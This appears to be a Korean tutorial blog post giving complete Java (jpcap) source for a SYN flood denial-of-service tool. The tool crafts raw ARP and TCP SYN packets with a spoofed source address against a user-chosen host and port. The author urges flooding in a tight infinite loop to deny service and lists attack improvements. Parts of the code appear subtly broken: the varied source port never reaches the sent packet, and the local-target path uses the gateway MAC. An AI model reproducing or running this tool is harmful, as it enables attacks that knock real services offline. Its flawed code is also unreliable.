작성자 : 유창훈
업로드가 좀 늦어졌네요. 바로 설명들어가겠습니다.
지난번에 올린 Synflooding 설명을 보셨으면 알고리즘은 이해가 가실겁니다.
한가지 확실하게 알아 두실것은 , 백로그 큐를 지속적으로 꽉 차게 해서 한치의 서비스 허용도 불가하게 만드시려면 짧은시간간격으로 루프를 돌리셔서 계속 공격해야 합니다 . 한번에 5초동안 1000개 패킷보내서 큐 다채웠다 하고 손놓고 있으면 이 공격은 통하지 않습니다.
======================================================================================
소스 구성은 다음과 같습니다.
synflood.java : 인터페이스 설정과, ARP request패킷 송신
dump.java : 패킷 캡쳐시 필터링과 Syn 패킷 송신
Dump_for_thread.java : 패킷 캡쳐와 송신을 동시에 하기 위한 스레드 작업
ck.java : checksum
동작 순서
1. 입력은 커맨드 환경으로 동일 네트워크에서는 '타켓IP'와 '포트번호' 만을 입력하면되고
원격지의 타겟에대해서는 '타켓IP' 와 '게이트웨이IP' 와 '포트번호' 를 입력받는다.
2. 커맨드에서 입력받은 인자의 갯수로 타겟의 위치가 동일 네트웍인지 원격지인지 판단한다.
동일네트웍 안의 공격대상이 있으면 타겟 IP주소를 대상으로 ARP request를 보내고 원격지에 공격대상이 있으면 게이트웨이IP를 대상으로 ARP request를 보낸다.
3. 응답받은 맥주소를 destination Mac address로 해서 공격자가 지정한 IP 와 포트로 Syn flag가 셋팅된 패킷을 보낸다.
======================================================================================
네트워크 공격이란게, 이렇게 흐름만 보면 어려운것은 없습니다. 하지만 진짜 내가 원하는 방향으로 흘러가게끔 만들기 위해서는 패킷의 비트단위로 구성요소를 잘 알아야 하는것 같습니다.
저도 이번 소스를 하면서 배웠는데요,
Synflooding attack에서 꼭 신경써서 조작해 주어야 하는 부분은 패킷 포멧중 어디일까요?
이 공격은 기본적으로 TCP 포멧입니다.
======================================================================================
소스에 앞서 필드 설명부터 간단히 해보겠습니다.
ether header에서는 로컬이냐 원격지냐에따라서 목적지 mac주소만 잘 적어주면되고
IP에서는
ID? flagmentaion이 이루어지지 않았으니까, 신경쓰지 않으셔도 됩니다.
total length? > IP header + IP data(TCP header+TCP data) 이것만 맞춰서 초기 배열생성시 알맞은 크기로 지정하면됩니다
ttl 은 기본적으로 바꾸어주시구요
Protocol부분은 당연 TCP인 6번으로 바꾸시면됩니다
checksum은 메소드로 만들어 계속 불러와 쓸 수 있도록 만들어놓으세요. 저는 메소드 인자로 채크섬에 들어갈 배열 이름과 크기를 지정했습니다. 그래서 채크섬 메소드를 불러오기전에 채크섬에 들어갈 목록들을 배열로 따로 지정해놓는 방법을 택했습니다. 소스 보면서 참고하세요
TCP에서는 헷갈리는 부분이 있는데, 중요한 것입니다
Source port : 이것을 계속 증가시켜 주어야 합니다 well known port는 서비스를 제공하는 쪽이니까 기왕이면 source port 2바이트중 첫번째 바이트를 증가시켜 256의 배수로 증가되게 해줍니다 . 명심하세요. source포트는 패킷 하나 마다 각각 달라야 합니다 그래야 공격 대상에서 백로그 큐에 쭉 올리게 됩니다
destination port : 당연 공격자가 콘솔에서 입력한 공격대상 포트가 지정될 수 있게 셋팅
sequence & ack number : 헷갈리는 부분인데, 지금 공격은 단방향 일회성 패킷을 사용한 반복 공격이기 때문에 sequence와 ack number 필드는 신경쓰지 않으셔도 됩니다. 그냥 전 0으로 셋팅.
Header Length(4bit) + Reserve(6bit) + Flags(4bit) : 이 2바이트 필드에서 header Length는 4bit로서 IP headerLength와 같이 셋팅된 4bit값에 5배수에 해당하는 값이 TCP header length고 이로 인해서 TCP data의 위치를 알 수 있어 data offset이라고 합니다
또한 reserve(6bit) 필드는 0으로 냅두고 우리가 가장 신경써야한 flags 필드 4자리 중 오른쪽에서 2번째 자리의 값을 1로 셋팅합니다 이것이 SYN flag 셋팅!!!!
windows사이즈는 기본 512로 놔둡니다.
checksum은 이전에 올렸던 글을 참고하시면 가짜헤더 + TCP header 해서 채크섬 메소드에 집어넣으면 값이 나옵니다.
마지막으로 urgent point가 있는데 이것은 urgent flag가 셋팅되어있을 시 참고하는 offset으로써 우리가 사용하는 flag와는 상관없으므로 0으로 셋팅
======================================================================================
소스
-------------synflood.java--------------------------------------------------------------------------------------------------------------
/*
* This is Version 1.0
* 1. Source IP is STATIC. not a Rand-source............ if you want rand-source..... wait... V2.0 or use hping!
* 2. Interver is u1000 ..STATIC
* 3. Command Format :
* Same Network : synflood <TatgetIP> <portnumber>
* Different Network : synflood <TargetIP> <GatewayIP> <portnumber>
* by 유창훈
*/
import java.util.Scanner;
import jpcap.*;
import java.net.URL;
import java.util.Arrays;
import jpcap.packet.*;
import java.net.InetAddress;
import jpcap.NetworkInterfaceAddress;
//import javax.swing.*;
public class synflood {
public static byte[] gwMac = new byte[6]; //게이트웨이 맥주소
public static byte[] TarMac = new byte[6]; //target 맥주소
public static byte[] myMac = new byte[6]; //공격자 맥주소
public static int arg=0; //공격자가 명령수행시 입력한 인자갯수 저장
public static byte[] GwIp = new byte[6]; //게이트웨이 IP
public static byte[] TarIp = new byte[6]; //target IP
public static int device=0; //공격자의 인터페이스 번호저장
public static int numP=0; //공격자가 명령수행시 지정한 포트번호
public static int once=0; //정보수집이 끝나고 syn공격시작을 알리는 flag,
// 0이면 정보수집 미완료 1이면 정보수집완료, 공격시작, 2이면 공격 끝
public static void main(String[] args) throws java.io.IOException {
if (args.length !=2 && args.length !=3) {
System.out.println("Usage: 'java synflood <TargetIP> <portNumber> 'or 'java synflood <TargetIP> <GatewayIP> <portNumber>' ");
System.exit(0);
} else {
arg=args.length;
// Jpcap initstatic
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
// list display
for (int i = 0; i < devices.length; i++)
System.out.println(i + ":" + devices[i].name + "("
+ devices[i].description + ")");
// select interface
System.out.print("\n=================================\nSelect Your Network Interface => ");
Scanner scan = new Scanner(System.in);
device = scan.nextInt();
//get My IP & MAC auto,...
byte[] myIp = new byte[4];
myMac = new byte[6];
for (NetworkInterfaceAddress a : devices[device].addresses){
InetAddress intaddr = a.address;
System.out.print("\n Getting Your IP and MAC\n ");
myIp = intaddr.getAddress();
myMac = devices[device].mac_address;
break; ////just one time
}
// capture start
// 일단 캡쳐스레드를 먼저 돌려놓고 타겟 or gw의 맥주소를 얻기 위해 arp request패킷을 보낸다.
Dump_for_thread t = new Dump_for_thread();
Thread thd1 = new Thread(t);
thd1.start();
try { //just wait.. because interval..no reasonrseinInt
Thread.sleep(2 * 1000);
} catch (InterruptedException e) { }
//Target IP setting
TarIp = InetAddress.getByName(args[0]).getAddress();
//입력 인자갯수에따라 변수 다르게 지정
if(arg==2)
{
String str = args[1];
numP = Integer.parseInt(str);
}
if(arg==3)
{
GwIp = InetAddress.getByName(args[1]).getAddress();
String str = args[2];
numP = Integer.parseInt(str);
}
//ARP request 패킷 보내기
// sender init
JpcapSender sender = JpcapSender.openDevice(devices[device]);
// make raw packet
Packet sendPack = new Packet();
byte pb[] = new byte[64];
// Dst Mac
pb[0] = (byte)0xff;
pb[1] = (byte)0xff;
pb[2] = (byte)0xff;
pb[3] = (byte)0xff;
pb[4] = (byte)0xff;
pb[5] = (byte)0xff;
// Src_Mac
pb[6] = myMac[0];
pb[7] = myMac[1];
pb[8] = myMac[2];
pb[9] = myMac[3];
pb[10] = myMac[4];
pb[11] = myMac[5];
// Ether Type(byte)(cksum(IPHeader,((pb[14] & 0x0f) * 4))>>8);
pb[12] = (byte) 0x08;
pb[13] = (byte) 0x06;
//////////////////////////////////////////////////////////// ARP
// Hardware type
pb[14] = (byte) 0x00;
pb[15] = (byte) 0x01;
// Protocol Type//
pb[16] = (byte) 0x08;
pb[17] = (byte) 0x00;
// Hardware address size = Hardware length(Hlen) = Mac address size
// = 6byte
pb[18] = (byte) 0x06;
// Porotocol size= ip address size = 4byte
pb[19] = (byte) 0x04;
// opcode Request = 1, reply =2
pb[20] = (byte) 0x00;
pb[21] = (byte) 0x01;
// sender hardware address
pb[22] = myMac[0];
pb[23] = myMac[1];
pb[24] = myMac[2];
pb[25] = myMac[3];
pb[26] = myMac[4];
pb[27] = myMac[5];
// sender IP address
pb[28] = myIp[0];
pb[29] = myIp[1];
pb[30] = myIp[2];
pb[31] = myIp[3];
// Target Hardware address
pb[32] = 0;
pb[33] = 0;
pb[34] = 0;
pb[35] = 0;
pb[36] = 0;
pb[37] = 0;
// target Ip address 인자가 두개 즉, 타겟IP와 port번호일때는 target로 ARP보냄
if(arg==2)
{
pb[38] = TarIp[0];
pb[39] = TarIp[1];
pb[40] = TarIp[2];
pb[41] = TarIp[3];
}
// target Ip address 인자가 세개 즉, 타겟IP와 gwIP 와 port번호일때는 gw로 ARP보냄
if(arg==3)
{
pb[38] = GwIp[0];
pb[39] = GwIp[1];
pb[40] = GwIp[2];
pb[41] = GwIp[3];
}
sendPack.data = pb;
sender.sendPacket(sendPack);
sender.close();
}
}
}
-------------dump.java-----------------------------------------------------------------------------------------------------------------
import java.io.IOException;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.PacketReceiver;
import jpcap.packet.Packet;
import jpcap.NetworkInterfaceAddress;
class dump implements PacketReceiver
{
public void receivePacket(Packet p)
{
//캡쳐된 패킷은 bytes라는 배열에 저장
byte[] bytes = new byte[p.header.length + p.data.length];
System.arraycopy(p.header, 0, bytes, 0, p.header.length);
System.arraycopy(p.data, 0, bytes, p.header.length, p.data.length);
//아까 위에서 캡쳐 스레드를 먼저 돌려놓고 기다리다가 인자갯수가 2(targetIP, portN) 일때 target //으로 부터 오는 arp REPLY를 잡아서 target의 MAC주소를 저장한다
if (synflood.arg==2 &&
bytes[28] == (byte)synflood.TarIp[0] &&
bytes[29] == (byte)synflood.TarIp[1] &&
bytes[30] == (byte)synflood.TarIp[2] &&
bytes[31] == (byte)synflood.TarIp[3] &&
bytes[21] ==(byte)0x02)
{
System.out.print("\n Getting the Target MAC\n ");
synflood.TarMac[0]=bytes[22];
synflood.TarMac[1]=bytes[23];
synflood.TarMac[2]=bytes[24];
synflood.TarMac[3]=bytes[25];
synflood.TarMac[4]=bytes[26];
synflood.TarMac[5]=bytes[27];
synflood.once=1; //정보수집이 끝나고 syn공격시작을 알리는 flag
}
//마찬가지로 인자 갯수가 3개(targetIP, gatewayIP , port N)일때 gw로 부터 오는 ARP REPLY를
//잡아서 gw의 MAC주소 저장
if (synflood.arg==3 &&
bytes[28] == (byte)synflood.GwIp[0] &&
bytes[29] == (byte)synflood.GwIp[1] &&
bytes[30] == (byte)synflood.GwIp[2] &&
bytes[31] == (byte)synflood.GwIp[3] &&
bytes[21] ==(byte)0x02)
{
System.out.print("\n Getting the gateway MAC\n ");
synflood.gwMac[0]=bytes[22];
synflood.gwMac[1]=bytes[23];
synflood.gwMac[2]=bytes[24];
synflood.gwMac[3]=bytes[25];
synflood.gwMac[4]=bytes[26];
synflood.gwMac[5]=bytes[27];
synflood.once=1;
}
///정보수집 완료되었으면 공격시작
if(synflood.once == 1)
{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
ck c =new ck();
JpcapSender sender = null;
try {
sender = JpcapSender.openDevice(devices[synflood.device]);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// make raw packet
Packet sendPack = new Packet();
//패킷 크기 54byte , IP 구성 필드에서 total length가 40, 즉 , 40 + ether header (14) 는 54임
byte pb[] = new byte[54];
// Dst Mac
pb[0] = synflood.gwMac[0];
pb[1] = synflood.gwMac[1];
pb[2] = synflood.gwMac[2];
pb[3] = synflood.gwMac[3];
pb[4] = synflood.gwMac[4];
pb[5] = synflood.gwMac[5];
// Src_Mac
pb[6] = synflood.myMac[0];
pb[7] = synflood.myMac[1];
pb[8] = synflood.myMac[2];
pb[9] = synflood.myMac[3];
pb[10] = synflood.myMac[4];
pb[11] = synflood.myMac[5];
// Ether Type(byte)(cksum(IPHeader,((pb[14] & 0x0f) * 4))>>8);
pb[12] = (byte) 0x08;
pb[13] = (byte) 0x00;
//////////////////////////////////////////////////////////// IP
// Header Ver, Length
pb[14] = (byte) 0x45;
//TOS
pb[15] = (byte) 0x00;
// Total Length
pb[16] = (byte) 0x00;
pb[17] = (byte) 0x28;
// ID
pb[18] = (byte) 0xd3;
pb[19] = (byte) 0xc8;
// Flags, Fragment offset
pb[20] = (byte) 0x00;
pb[21] = (byte) 0x00;
//TTL
pb[22] = (byte) 0x80;
//Protocol tcp 6 udp 17
pb[23] = (byte) 0x06;
//Header Checksum
pb[24] = 0;
pb[25] = 0;
//source IP
pb[26] = (byte)0x64;
pb[27] = (byte)0x64;
pb[28] = (byte)0x64;
pb[29] = (byte)0x64;
//Dst IP
pb[30] = synflood.TarIp[0];
pb[31] = synflood.TarIp[1];
pb[32] = synflood.TarIp[2];
pb[33] = synflood.TarIp[3];
byte IPHeader[] = new byte[20];
for(int i=0; i<((pb[14] & 0x0f) * 4); i++)
IPHeader[i] = pb[i+14];
pb[24] = (byte)(c.cksum(IPHeader,((pb[14] & 0x0f) * 4))>>8);
pb[25] = (byte)(c.cksum(IPHeader,((pb[14] & 0x0f) * 4)));
//////////////////////////////////////////////////////// TCP
//source port
pb[34] = 0;
pb[35] = 0;
//des port
pb[36] = (byte)((synflood.numP & 0x0000ff00)>>8) ;
pb[37] = (byte)((synflood.numP & 0x000000ff));
//Sequence Number
pb[38] = 0;
pb[39] = 0;
pb[40] = 0;
pb[41] = 0;
//ack number
pb[42] = 0;
pb[43] = 0;
pb[44] = 0;
pb[45] = 0;
//Header Length(4bit) + Reserve(6bit) + Flags(4bit)
pb[46] = (byte)0x50; // 0101 000000 0010 = header(5) , reserve(0), Synflag(2)
pb[47] = (byte)0x02; //Syn flag 채크
//Windows size
pb[48] = (byte)0x02;
pb[49] = (byte)0x00;
//checksum
pb[50] = 0;
pb[51] = 0;
//urgent pointer
pb[52] = 0;
pb[53] = 0;
//Checksum 채크섬 함수로 넘기기 위한 배열선언
byte TCPHeader[] = new byte[32];
//pesudo header을 위한 셋팅 가짜 헤더 구성요소는 이전 글 참고
for(int i=0; i<8; i++)
{
TCPHeader[i] = pb[i+26];
}
TCPHeader[8]=(byte)0x00;
TCPHeader[9]=pb[23];
TCPHeader[10]=0;
TCPHeader[11]=(byte)0x14;
///////////////////////////////// 요기가지가 가짜 헤더
/////////// 여기부터 TCP해더 정보를 채크섬 메소드를 위해 생성된 배열에 저장하는 부분
for(int i=0; i<20; i++)
{
TCPHeader[12+i]=pb[34+i];
}
/////////패킷 송신부분! 256번만 루프 돌았음 즉, 256개만 쭉 보내고 끝냈음
//// 진짜 공격을 위해서는 0.001 초에 한번씩 패킷을 보내는 무한 루프를 걸어주면됨,
// 슬립걸고 간격조정하면 됨여기선 그냥 256개만 보내고 원격지 컴퓨터에서 netstat -an 으로 테이블 확인
//했음
for (int i = 0; i < 256; i++)
{
/// 중요한 공격자가 소스포트를 변경시켜가며 공격하는 부분
TCPHeader[12]=(byte)i;
pb[50]=(byte)(ck.cksum(TCPHeader,32) >>8);
pb[51]=(byte)(ck.cksum(TCPHeader,32));
sendPack.data = pb;
sender.sendPacket(sendPack);
}
sender.close();
synflood.once=2;
}
}
}
-------------dump_for_thread.java---------------------------------------------------------------------------------------------------
import jpcap.*;
import java.io.IOException;
public class Dump_for_thread implements Runnable{
public void run(){
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
JpcapCaptor jpcap = null;
try {
jpcap = JpcapCaptor.openDevice(devices[0], 2000, true, 1);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
jpcap.loopPacket(-1, new dump());
}
}
-------------ck.java---------------------------------------------------------------------------------------------------------------------
/// 채크섬 메소드는 이전 글에서 소스 설명해놓은게 있음 ..그거 참고하세요
//단순히 기존에 제가 예전에 구현한 소스를 메소드화 시켰을 뿐입니다.
public class ck {
public static short cksum(byte[] buf, int len) {
int sum = 0;
int x = 0;
int cmask = 0xffff0000;
byte temp = 0;
short CK = 0;
for (int i = 0; i < len; i++) {
sum = (((int) buf[i]) << 8) & 0xFF00 | ((int) buf[i+1])&0xFF;
x = x + sum;
i += 1;
}
temp = (byte) ((x & cmask) >> 16);
CK = (short) ~(x + temp);
return CK;
}
}
이상으로 소스 설명을 마치겠습니다. 영어와 한글로 주석이 있으니 참고하시구요
궁금하신부분은 질문주세요
프로그램 보완해야할 점
: 1. 커맨드 입력환경에서 인자갯수로 공격대상자가 로컬인지 원격지인지를 구별하는 과정.
2. 인자의 입력시, 단순 띄어쓰기 로 구분하였는데, 옵션 플레그를 추가해야함
3. 무한반복구현시 , time interval 을 조절할 수 있도록 하는 부분